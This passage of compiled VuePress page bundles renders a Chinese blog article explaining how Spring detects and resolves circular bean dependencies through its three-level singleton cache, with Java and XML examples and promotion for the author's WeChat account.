attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("prototype"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(">")])]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("<")]),t._v("property")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("name")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("studentC"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("ref")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("c"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(">")])]),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("")])]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("")])]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("<")]),t._v("bean")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("id")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("c"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("class")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("com.liuqing.student.StudentC"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("scope")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("prototype"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(">")])]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("<")]),t._v("property")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("name")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("studentA"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("ref")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("a"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(">")])]),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("")])]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("")])]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br"),s("span",{staticClass:"line-number"},[t._v("4")]),s("br"),s("span",{staticClass:"line-number"},[t._v("5")]),s("br"),s("span",{staticClass:"line-number"},[t._v("6")]),s("br"),s("span",{staticClass:"line-number"},[t._v("7")]),s("br"),s("span",{staticClass:"line-number"},[t._v("8")]),s("br"),s("span",{staticClass:"line-number"},[t._v("9")]),s("br")])]),s("p",[t._v('scope="prototype" 意思是 每次请求都会创建一个实例对象。两者的区别是:有状态的bean都使用Prototype作用域,无状态的一般都使用singleton单例作用域。')]),t._v(" "),s("p",[t._v("测试用例:")]),t._v(" "),s("div",{staticClass:"language-java line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-java"}},[s("code",[s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("public")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("class")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("Test")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("public")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("static")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("void")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("main")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("String")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("[")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("]")]),t._v(" args"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("ApplicationContext")]),t._v(" context "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("new")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("ClassPathXmlApplicationContext")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token string"}},[t._v('"com/liuqing/student/applicationContext.xml"')]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v('//此时必须要获取Spring管理的实例,因为现在scope="prototype" 只有请求获取的时候才会实例化对象')]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("System")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("out"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("println")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),t._v("context"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("getBean")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token string"}},[t._v('"a"')]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("StudentA")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("class")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br"),s("span",{staticClass:"line-number"},[t._v("4")]),s("br"),s("span",{staticClass:"line-number"},[t._v("5")]),s("br"),s("span",{staticClass:"line-number"},[t._v("6")]),s("br"),s("span",{staticClass:"line-number"},[t._v("7")]),s("br")])]),s("p",[t._v("打印结果:")]),t._v(" "),s("div",{staticClass:"language-bash line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-bash"}},[s("code",[t._v("Caused by: org.springframework.beans.factory.BeanCurrentlyInCreationException: \n Error creating bean with name "),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'a'")]),s("span",{pre:!0,attrs:{class:"token builtin class-name"}},[t._v(":")]),t._v(" Requested bean is currently "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("in")]),t._v(" creation: Is there an unresolvable circular reference?\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br")])]),s("p",[t._v("对于“prototype”作用域Bean,Spring容器无法完成依赖注入,因为“prototype”作用域的Bean,Spring容器不进行缓存,因此无法提前暴露一个创建中的Bean。")]),t._v(" "),s("h2",{attrs:{id:"spring怎么解决循环依赖"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#spring怎么解决循环依赖"}},[t._v("#")]),t._v(" Spring怎么解决循环依赖")]),t._v(" "),s("p",[t._v("Spring的循环依赖的理论依据基于Java的引用传递,当获得对象的引用时,对象的属性是可以延后设置的。(但是构造器必须是在获取引用之前)")]),t._v(" "),s("p",[t._v("Spring的单例对象的初始化主要分为三步:")]),t._v(" "),s("p",[s("img",{staticClass:"lazy",attrs:{alt:"在这里插入图片描述","data-src":"https://img-blog.csdnimg.cn/20200817004932798.jpg#pic_center",loading:"lazy"}})]),t._v(" "),s("p",[t._v("(1)createBeanInstance:实例化,其实也就是调用对象的构造方法实例化对象")]),t._v(" "),s("p",[t._v("(2)populateBean:填充属性,这一步主要是多bean的依赖属性进行填充")]),t._v(" "),s("p",[t._v("(3)initializeBean:调用spring xml中的init 方法。")]),t._v(" "),s("p",[t._v("从上面单例bean的初始化可以知道:循环依赖主要发生在第一、二步,也就是构造器循环依赖和field循环依赖。那么我们要解决循环引用也应该从初始化过程着手,对于单例来说,在Spring容器整个生命周期内,有且只有一个对象,所以很容易想到这个对象应该存在Cache中,Spring为了解决单例的循环依赖问题,使用了三级缓存。")]),t._v(" "),s("p",[t._v("这三级缓存分别指:")]),t._v(" "),s("ul",[s("li",[t._v("singletonFactories : 单例对象工厂的cache")]),t._v(" "),s("li",[t._v("earlySingletonObjects :提前暴光的单例对象的Cache")]),t._v(" "),s("li",[t._v("singletonObjects:单例对象的cache")])]),t._v(" "),s("p",[t._v("在创建bean的时候,首先想到的是从cache中获取这个单例的bean,这个缓存就是singletonObjects。如果获取不到,并且对象正在创建中,就再从二级缓存earlySingletonObjects中获取。如果还是获取不到且允许singletonFactories通过getObject()获取,就从三级缓存singletonFactory.getObject()(三级缓存)获取,如果获取到了则:从singletonFactories中移除,并放入earlySingletonObjects中。其实也就是从三级缓存移动到了二级缓存。")]),t._v(" "),s("p",[t._v("从上面三级缓存的分析,我们可以知道,Spring解决循环依赖的诀窍就在于singletonFactories这个三级cache。这个cache的类型是ObjectFactory。这里就是解决循环依赖的关键,发生在createBeanInstance之后,也就是说单例对象此时已经被创建出来(调用了构造器)。这个对象已经被生产出来了,虽然还不完美(还没有进行初始化的第二步和第三步),但是已经能被人认出来了(根据对象引用能定位到堆中的对象),所以Spring此时将这个对象提前曝光出来让大家认识,让大家使用。")]),t._v(" "),s("p",[t._v("这样做有什么好处呢?让我们来分析一下“A的某个field或者setter依赖了B的实例对象,同时B的某个field或者setter依赖了A的实例对象”这种循环依赖的情况。A首先完成了初始化的第一步,并且将自己提前曝光到singletonFactories中,此时进行初始化的第二步,发现自己依赖对象B,此时就尝试去get(B),发现B还没有被create,所以走create流程,B在初始化第一步的时候发现自己依赖了对象A,于是尝试get(A),尝试一级缓存singletonObjects(肯定没有,因为A还没初始化完全),尝试二级缓存earlySingletonObjects(也没有),尝试三级缓存singletonFactories,由于A通过ObjectFactory将自己提前曝光了,所以B能够通过ObjectFactory.getObject拿到A对象(虽然A还没有初始化完全,但是总比没有好呀),B拿到A对象后顺利完成了初始化阶段1、2、3,完全初始化之后将自己放入到一级缓存singletonObjects中。此时返回A中,A此时能拿到B的对象顺利完成自己的初始化阶段2、3,最终A也完成了初始化,进去了一级缓存singletonObjects中,而且更加幸运的是,由于B拿到了A的对象引用,所以B现在hold住的A对象完成了初始化。")]),t._v(" "),s("p",[t._v("知道了这个原理时候,肯定就知道为啥Spring不能解决“A的构造方法中依赖了B的实例对象,同时B的构造方法中依赖了A的实例对象”这类问题了!因为加入singletonFactories三级缓存的前提是执行了构造器,所以构造器的循环依赖没法解决。")]),t._v(" "),s("h2",{attrs:{id:"总结"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#总结"}},[t._v("#")]),t._v(" 总结")]),t._v(" "),s("p",[t._v("不要使用基于构造函数的依赖注入,可以通过以下方式解决:")]),t._v(" "),s("ul",[s("li",[t._v("在字段上使用@Autowired注解,让Spring决定在合适的时机注入")]),t._v(" "),s("li",[t._v("用基于setter方法的依赖注入。")])]),t._v(" "),s("h2",{attrs:{id:"重磅福利"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#重磅福利"}},[t._v("#")]),t._v(" 重磅福利")]),t._v(" "),s("p",[t._v("关注「 "),s("strong",[t._v("冰河技术")]),t._v(" 」微信公众号,后台回复 “"),s("strong",[t._v("设计模式")]),t._v("” 关键字领取《"),s("strong",[t._v("深入浅出Java 23种设计模式")]),t._v("》PDF文档。回复“"),s("strong",[t._v("Java8")]),t._v("”关键字领取《"),s("strong",[t._v("Java8新特性教程")]),t._v("》PDF文档。回复“"),s("strong",[t._v("限流")]),t._v("”关键字获取《"),s("strong",[t._v("亿级流量下的分布式限流解决方案")]),t._v("》PDF文档,三本PDF均是由冰河原创并整理的超硬核教程,面试必备!!")]),t._v(" "),s("p",[s("font",{attrs:{color:"#FF0000"}},[s("strong",[t._v("好了,今天就聊到这儿吧!别忘了点个赞,给个在看和转发,让更多的人看到,一起学习,一起进步!!")])])],1),t._v(" "),s("h2",{attrs:{id:"写在最后"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#写在最后"}},[t._v("#")]),t._v(" 写在最后")]),t._v(" "),s("blockquote",[s("p",[t._v("如果你觉得冰河写的还不错,请微信搜索并关注「 "),s("strong",[t._v("冰河技术")]),t._v(" 」微信公众号,跟冰河学习高并发、分布式、微服务、大数据、互联网和云原生技术,「 "),s("strong",[t._v("冰河技术")]),t._v(" 」微信公众号更新了大量技术专题,每一篇技术文章干货满满!不少读者已经通过阅读「 "),s("strong",[t._v("冰河技术")]),t._v(" 」微信公众号文章,吊打面试官,成功跳槽到大厂;也有不少读者实现了技术上的飞跃,成为公司的技术骨干!如果你也想像他们一样提升自己的能力,实现技术能力的飞跃,进大厂,升职加薪,那就关注「 "),s("strong",[t._v("冰河技术")]),t._v(" 」微信公众号吧,每天更新超硬核技术干货,让你对如何提升技术能力不再迷茫!")])]),t._v(" "),s("p",[s("img",{staticClass:"lazy",attrs:{alt:"","data-src":"https://img-blog.csdnimg.cn/20200906013715889.png",loading:"lazy"}})])])}),[],!1,null,null,null);s.default=e.exports}}]); \ No newline at end of file +(window.webpackJsonp=window.webpackJsonp||[]).push([[122],{663:function(t,s,a){"use strict";a.r(s);var n=a(7),e=Object(n.a)({},(function(){var t=this,s=t._self._c;return s("ContentSlotsDistributor",{attrs:{"slot-key":t.$parent.slotKey}},[s("h1",{attrs:{id:"【spring】如何解决spring的循环依赖问题-这道面试题助我拿到了offer"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#【spring】如何解决spring的循环依赖问题-这道面试题助我拿到了offer"}},[t._v("#")]),t._v(" 【Spring】如何解决Spring的循环依赖问题?这道面试题助我拿到了Offer!!")]),t._v(" "),s("h2",{attrs:{id:"写在前面"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#写在前面"}},[t._v("#")]),t._v(" 写在前面")]),t._v(" "),s("blockquote",[s("p",[t._v("最近,有关于Spring的面试中,Spring的循环依赖问题是必问的知识点,你回答的不好,就会被直接pass掉。即使你没被pass掉,你也会比那些知道如何解决Spring循环依赖问题的同事薪资低,这就是现实。所以,我们今天就一起来探讨下如何解决Spring循环依赖的问题。")]),t._v(" "),s("p",[t._v("关注 "),s("strong",[t._v("冰河技术")]),t._v(" 微信公众号,阅读更多技术干货文章!!")])]),t._v(" "),s("h2",{attrs:{id:"什么是循环依赖"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#什么是循环依赖"}},[t._v("#")]),t._v(" 什么是循环依赖?")]),t._v(" "),s("p",[t._v("循环依赖其实就是循环引用,也就是两个或者两个以上的bean互相持有对方,最终形成闭环。比如A依赖于B,B依赖于C,C又依赖于A。如下图:")]),t._v(" "),s("p",[s("img",{staticClass:"lazy",attrs:{alt:"在这里插入图片描述","data-src":"https://img-blog.csdnimg.cn/20200817004907786.jpg#pic_center",loading:"lazy"}})]),t._v(" "),s("p",[t._v("注意,这里不是函数的循环调用,是对象的相互依赖关系。循环调用其实就是一个死循环,除非有终结条件。")]),t._v(" "),s("p",[t._v("Spring中循环依赖场景有:")]),t._v(" "),s("p",[t._v("(1)构造器的循环依赖")]),t._v(" "),s("p",[t._v("(2)field属性的循环依赖")]),t._v(" "),s("p",[t._v("其中,构造器的循环依赖问题无法解决,只能拋出BeanCurrentlyInCreationException异常,在解决属性循环依赖时,spring采用的是提前暴露对象的方法。")]),t._v(" "),s("h2",{attrs:{id:"怎么检测是否存在循环依赖"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#怎么检测是否存在循环依赖"}},[t._v("#")]),t._v(" 怎么检测是否存在循环依赖?")]),t._v(" "),s("p",[t._v("检测循环依赖相对比较容易,Bean在创建的时候可以给该Bean打标,如果递归调用回来发现正在创建中的话,即说明了循环依赖了。")]),t._v(" "),s("h2",{attrs:{id:"三种循环依赖"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#三种循环依赖"}},[t._v("#")]),t._v(" 三种循环依赖")]),t._v(" "),s("h3",{attrs:{id:"_1-构造器的循环依赖。【这个spring解决不了】"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_1-构造器的循环依赖。【这个spring解决不了】"}},[t._v("#")]),t._v(" 1.构造器的循环依赖。【这个Spring解决不了】")]),t._v(" "),s("p",[t._v("Spring容器会将每一个正在创建的Bean 标识符放在一个“当前创建Bean池”中,Bean标识符在创建过程中将一直保持在这个池中,因此如果在创建Bean过程中发现自己已经在“当前创建Bean池”里时将抛出BeanCurrentlyInCreationException异常表示循环依赖;而对于创建完毕的Bean将从“当前创建Bean池”中清除掉。")]),t._v(" "),s("p",[t._v("Spring容器先创建单例A,A依赖B,然后将A放在“当前创建Bean池”中,此时创建B,B依赖C ,然后将B放在“当前创建Bean池”中,此时创建C,C又依赖A, 但是,此时A已经在池中,所以会报错,因为在池中的Bean都是未初始化完的,所以会依赖错误 ,(初始化完的Bean会从池中移除)")]),t._v(" "),s("div",{staticClass:"language-java line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-java"}},[s("code",[s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("public")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("class")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("StudentA")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("private")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("StudentB")]),t._v(" studentB "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n \n "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("public")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("void")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("setStudentB")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("StudentB")]),t._v(" studentB"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("this")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("studentB "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" studentB"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),t._v("\n\n "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("public")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("StudentA")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),t._v("\n \n "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("public")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("StudentA")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("StudentB")]),t._v(" studentB"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("this")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("studentB "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" studentB"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br"),s("span",{staticClass:"line-number"},[t._v("4")]),s("br"),s("span",{staticClass:"line-number"},[t._v("5")]),s("br"),s("span",{staticClass:"line-number"},[t._v("6")]),s("br"),s("span",{staticClass:"line-number"},[t._v("7")]),s("br"),s("span",{staticClass:"line-number"},[t._v("8")]),s("br"),s("span",{staticClass:"line-number"},[t._v("9")]),s("br"),s("span",{staticClass:"line-number"},[t._v("10")]),s("br"),s("span",{staticClass:"line-number"},[t._v("11")]),s("br"),s("span",{staticClass:"line-number"},[t._v("12")]),s("br"),s("span",{staticClass:"line-number"},[t._v("13")]),s("br"),s("span",{staticClass:"line-number"},[t._v("14")]),s("br")])]),s("div",{staticClass:"language-java line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-java"}},[s("code",[s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("public")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("class")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("StudentB")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n \n "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("private")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("StudentC")]),t._v(" studentC "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n \n "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("public")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("void")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("setStudentC")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("StudentC")]),t._v(" studentC"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("this")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("studentC "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" studentC"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),t._v("\n \n "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("public")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("StudentB")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),t._v("\n \n "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("public")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("StudentB")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("StudentC")]),t._v(" studentC"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("this")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("studentC "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" studentC"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br"),s("span",{staticClass:"line-number"},[t._v("4")]),s("br"),s("span",{staticClass:"line-number"},[t._v("5")]),s("br"),s("span",{staticClass:"line-number"},[t._v("6")]),s("br"),s("span",{staticClass:"line-number"},[t._v("7")]),s("br"),s("span",{staticClass:"line-number"},[t._v("8")]),s("br"),s("span",{staticClass:"line-number"},[t._v("9")]),s("br"),s("span",{staticClass:"line-number"},[t._v("10")]),s("br"),s("span",{staticClass:"line-number"},[t._v("11")]),s("br"),s("span",{staticClass:"line-number"},[t._v("12")]),s("br"),s("span",{staticClass:"line-number"},[t._v("13")]),s("br"),s("span",{staticClass:"line-number"},[t._v("14")]),s("br"),s("span",{staticClass:"line-number"},[t._v("15")]),s("br")])]),s("div",{staticClass:"language-java line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-java"}},[s("code",[s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("public")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("class")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("StudentC")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n \n "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("private")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("StudentA")]),t._v(" studentA "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n \n "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("public")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("void")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("setStudentA")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token class-name"}},[t._v("StudentA")]),t._v(" 